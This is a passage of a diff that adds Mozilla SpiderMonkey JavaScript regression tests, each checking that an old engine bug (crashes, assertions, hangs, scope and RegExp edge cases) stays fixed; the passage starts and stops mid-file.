+ setTimeout('yyy()', 2000);
+
+ }
+ else {
+ print('Clearing interval failed...');
+ actual = "Broken";
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+ }
+}
+
+function yyy()
+{
+ print('Checking result...');
+ actual = 'Ok';
+ gDelayTestDriverEnd = false;
+ reportCompare(expect, actual, summary);
+ jsTestDriverEnd();
+}
+
+print('Start...');
+gDelayTestDriverEnd = true;
+var t = window.setInterval(xxx, 1000);
diff --git a/js/src/tests/non262/regress/regress-343713.js b/js/src/tests/non262/regress/regress-343713.js
new file mode 100644
index 0000000000..8d2cd609cc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-343713.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 343713;
+var summary = 'Do not assert with nested function evaluation';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+printBugNumber(BUGNUMBER);
+printStatus (summary);
+
+with (this)
+ with (this) {
+ eval("function outer() { function inner() { " +
+ "print('inner');} inner(); print('outer');} outer()");
+}
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/regress/regress-343966.js b/js/src/tests/non262/regress/regress-343966.js
new file mode 100644
index 0000000000..556c0392ba
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-343966.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 343966;
+var summary = 'ClearScope foo regressed due to bug 343417';
+var actual = 'failed';
+var expect = 'passed';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Function["prototype"].inherits=function(a){};
+ function foo(){};
+ function bar(){};
+ foo.inherits(bar);
+ actual = "passed";
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-344711-n.js b/js/src/tests/non262/regress/regress-344711-n.js
new file mode 100644
index 0000000000..59abee0cf2
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-344711-n.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344711;
+var summary = 'Do not crash compiling when peeking over a newline';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window == 'undefined')
+ {
+ // exclude from browser as the crash only occurs in shell
+ // and attempting to trap the error prevents the crash.
+ var a1 = {abc2 : 1, abc3 : 3};
+ var j = eval('a1\\\n.abc2;');
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-344804.js b/js/src/tests/non262/regress/regress-344804.js
new file mode 100644
index 0000000000..ed0a853993
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-344804.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344804;
+var summary = 'Do not crash iterating over window.Packages';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ if (typeof window != 'undefined')
+ {
+ for (var p in window.Packages)
+ ;
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-344959.js b/js/src/tests/non262/regress/regress-344959.js
new file mode 100644
index 0000000000..8056fcbbae
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-344959.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 344959;
+var summary = 'Functions should not lose scope chain after exception';
+var actual = '';
+var expect = 'with';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var x = "global"
+
+ with ({x:"with"})
+ actual = (function() { try {} catch(exc) {}; return x }());
+
+ reportCompare(expect, actual, summary + ': 1');
+
+ with ({x:"with"})
+ actual = (function() { try { throw 1} catch(exc) {}; return x }());
+
+ reportCompare(expect, actual, summary + ': 2');
+}
diff --git a/js/src/tests/non262/regress/regress-346237.js b/js/src/tests/non262/regress/regress-346237.js
new file mode 100644
index 0000000000..ca47950408
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-346237.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346237;
+var summary = 'RegExp - /(|)??x/g.exec("y")';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ /(|)??x/g.exec("y");
+
+ reportCompare(expect, actual, summary + ': /(|)??x/g.exec("y")');
+}
diff --git a/js/src/tests/non262/regress/regress-346801.js b/js/src/tests/non262/regress/regress-346801.js
new file mode 100644
index 0000000000..c6d6fbaf3b
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-346801.js
@@ -0,0 +1,73 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 346801;
+var summary = 'Hang regression from bug 346021';
+var actual = '';
+var expect = 'No Hang';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var Class = {
+ create: function() {
+ return function() {
+ this.initialize.apply(this, arguments);
+ }
+ }
+ }
+
+ Object.extend = function(destination, source) {
+ print("Start");
+// print(destination);
+// print(source);
+ if(destination==source)
+ print("Same desination and source!");
+ var i = 0;
+ for (property in source) {
+// print(" " + property);
+ destination[property] = source[property];
+ ++i;
+ if (i > 1000) {
+ throw "Hang";
+ }
+ }
+ print("Finish");
+ return destination;
+ }
+
+ var Ajax = {
+ };
+
+ Ajax.Base = function() {};
+ Ajax.Base.prototype = {
+ responseIsFailure: function() { }
+ }
+
+ Ajax.Request = Class.create();
+
+ Ajax.Request.prototype = Object.extend(new Ajax.Base(), {});
+
+ Ajax.Updater = Class.create();
+
+ Object.extend(Ajax.Updater.prototype, Ajax.Request.prototype);
+ actual = 'No Hang';
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-349482-01.js b/js/src/tests/non262/regress/regress-349482-01.js
new file mode 100644
index 0000000000..95f82380c0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-349482-01.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349482;
+var summary = 'Decompiling try/catch in for..in should not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function() { for(p in {}) try{}catch(e){} };
+ print(f.toString());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-349482-02.js b/js/src/tests/non262/regress/regress-349482-02.js
new file mode 100644
index 0000000000..e4850521cd
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-349482-02.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349482;
+var summary = 'Decompiling try/catch in with() should not crash';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function() { with({}) { try{}catch(e){} } }
+ print(f.toString());
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-349592.js b/js/src/tests/non262/regress/regress-349592.js
new file mode 100644
index 0000000000..882a1988a0
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-349592.js
@@ -0,0 +1,25 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 349592;
+var summary = 'Do not assert with try/finally inside finally';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ (function() { try { } finally { try { } finally { } } });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-350253.js b/js/src/tests/non262/regress/regress-350253.js
new file mode 100644
index 0000000000..83d9557824
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350253.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350253;
+var summary = 'Do not assert on (g()) = 3';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (g()) = 3;
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-350268.js b/js/src/tests/non262/regress/regress-350268.js
new file mode 100644
index 0000000000..ce306c5c48
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350268.js
@@ -0,0 +1,71 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350268;
+var summary = 'new Function with unbalanced braces';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f;
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("}");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": }");
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("}}}}}");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": }}}}}");
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("alert(6); } alert(5);");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": alert(6); } alert(5);");
+
+ try
+ {
+ expect = 'SyntaxError';
+ actual = 'No Error';
+ f = new Function("} {");
+ }
+ catch(ex)
+ {
+ actual = ex.name;
+ }
+ reportCompare(expect, actual, summary + ": } {");
+}
diff --git a/js/src/tests/non262/regress/regress-350312.js b/js/src/tests/non262/regress/regress-350312.js
new file mode 100644
index 0000000000..8be38184fc
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350312.js
@@ -0,0 +1,77 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350312;
+var summary = 'Accessing wrong stack slot with nested catch/finally';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var counter = 0;
+
+ function f(x,y) {
+
+ try
+ {
+ throw x;
+ }
+ catch(e)
+ {
+ if (y)
+ throw e;
+ }
+ finally
+ {
+ try
+ {
+ actual += 'finally,';
+ throw 42;
+ }
+ catch(e2)
+ {
+ actual += e2;
+ if (++counter > 10)
+ {
+ throw 'Infinite loop...';
+ }
+ }
+ }
+ return 'returned';
+ }
+
+ expect = 'finally,42';
+ actual = '';
+
+ try
+ {
+ print('test 1');
+ f(2, 1);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+
+ actual = '';
+ try
+ {
+ print('test 2');
+ f(2, 0);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-350415.js b/js/src/tests/non262/regress/regress-350415.js
new file mode 100644
index 0000000000..dab88b4630
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350415.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350415;
+var summary = 'Do not assert with new Function("let /*")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("let /*");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-350529.js b/js/src/tests/non262/regress/regress-350529.js
new file mode 100644
index 0000000000..973a6623ab
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-350529.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 350529;
+var summary = "Do not assert: x--'";
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ eval("x--'");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-351116.js b/js/src/tests/non262/regress/regress-351116.js
new file mode 100644
index 0000000000..477457735a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-351116.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(xulRuntime.OS=="Linux"&&!xulRuntime.shell&&!xulRuntime.XPCOMABI.match(/x86_64/)&&isDebugBuild) -- bug 521549
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351116;
+var summary = 'formal parameter and inner function have same name';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var f = function (s) { function s() { } };
+
+ function g(s) { function s() { } }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-351515.js b/js/src/tests/non262/regress/regress-351515.js
new file mode 100644
index 0000000000..38815e835e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-351515.js
@@ -0,0 +1,33 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351515;
+var summary = 'js17 features must be enabled by version request';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+yield = 1;
+let = 1;
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function f(yield, let) { return yield+let; }
+
+ var yield = 1;
+ var let = 1;
+
+ function yield() {}
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-351795.js b/js/src/tests/non262/regress/regress-351795.js
new file mode 100644
index 0000000000..ad6abc815e
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-351795.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 351795;
+var summary = 'Do not assert: top < ss->printer->script->depth';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ p={};
+ (p.z = [1].some(function(y) { return y > 0; }) ? 4 : [6])(5);
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-352208.js b/js/src/tests/non262/regress/regress-352208.js
new file mode 100644
index 0000000000..667c48f078
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352208.js
@@ -0,0 +1,42 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352208;
+var summary = 'Do not assert new Function("setter/*\n")';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'SyntaxError';
+ try
+ {
+ eval('new Function("setter/*\n");');
+ }
+ catch(ex)
+ {
+ actual = ex.constructor.name;
+ }
+ reportCompare(expect, actual, 'new Function("setter/*\n");');
+
+ try
+ {
+ eval('new Function("setter/*\n*/");');
+ }
+ catch(ex)
+ {
+ actual = ex.constructor.name;
+ }
+ reportCompare(expect, actual, 'new Function("setter/*\n*/");');
+}
diff --git a/js/src/tests/non262/regress/regress-352604.js b/js/src/tests/non262/regress/regress-352604.js
new file mode 100644
index 0000000000..3d6562e9ed
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352604.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352604;
+var summary = 'Do not assert: !OBJ_GET_PROTO(cx, ctor)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ delete Function;
+ var x = function () {};
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-352640-01.js b/js/src/tests/non262/regress/regress-352640-01.js
new file mode 100644
index 0000000000..6794ef5fd4
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352640-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("do { with({}) let x; let b; } while( 1 );");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-352640-02.js b/js/src/tests/non262/regress/regress-352640-02.js
new file mode 100644
index 0000000000..98d57e54a5
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352640-02.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("do { with({}) let x; var b; } while( 1 );");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-352640-04.js b/js/src/tests/non262/regress/regress-352640-04.js
new file mode 100644
index 0000000000..67dcb54964
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-352640-04.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352640;
+var summary = 'Do not assert: scopeStmt or crash @ js_LexicalLookup';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ new Function("switch(w) { case 2: with({}) let y; case 3: }");
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-353078.js b/js/src/tests/non262/regress/regress-353078.js
new file mode 100644
index 0000000000..742e963091
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-353078.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353078;
+var summary = 'Do not assert with bogus toString, map, split';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ this.toString = function() { return {}; }; p = [11].map('foo'.split);
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-353079.js b/js/src/tests/non262/regress/regress-353079.js
new file mode 100644
index 0000000000..b49f075c17
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-353079.js
@@ -0,0 +1,26 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 353079;
+var summary = 'Do not Assert op == JSOP_LEAVEBLOCKEXPR... with WAY_TOO_MUCH_GC';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (let a in [1]) { { let x;
+ for (let y in ((function(id2) { return id2; })( '' ))) { } } }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355023.js b/js/src/tests/non262/regress/regress-355023.js
new file mode 100644
index 0000000000..75c1c3b66d
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355023.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355023;
+var summary = 'destructuring assignment optimization';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype[0] = 1024;
+
+ expect = (function(){ var a=[],[x]=a; return x; })();
+ actual = (function(){ var [x]=[]; return x; })();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355556.js b/js/src/tests/non262/regress/regress-355556.js
new file mode 100644
index 0000000000..296b97e0ac
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355556.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 355556;
+var summary = 'Do not crash with eval(..., arguments)';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 'TypeError: "foo".b is not a function';
+ try
+ {
+ (function () { eval("'foo'.b()", arguments) })();
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/regress/regress-355569.js b/js/src/tests/non262/regress/regress-355569.js
new file mode 100644
index 0000000000..7e995a435a
--- /dev/null
+++ b/js/src/tests/non262/regress/regress-355569.js
@@ -0,0 +1,128 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*- */
+
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+var BUGNUMBER = 355569;
+var actual = '';
+var expect = '';
+var summary = '';
+
+printBugNumber (BUGNUMBER);
+printStatus (summary);
+
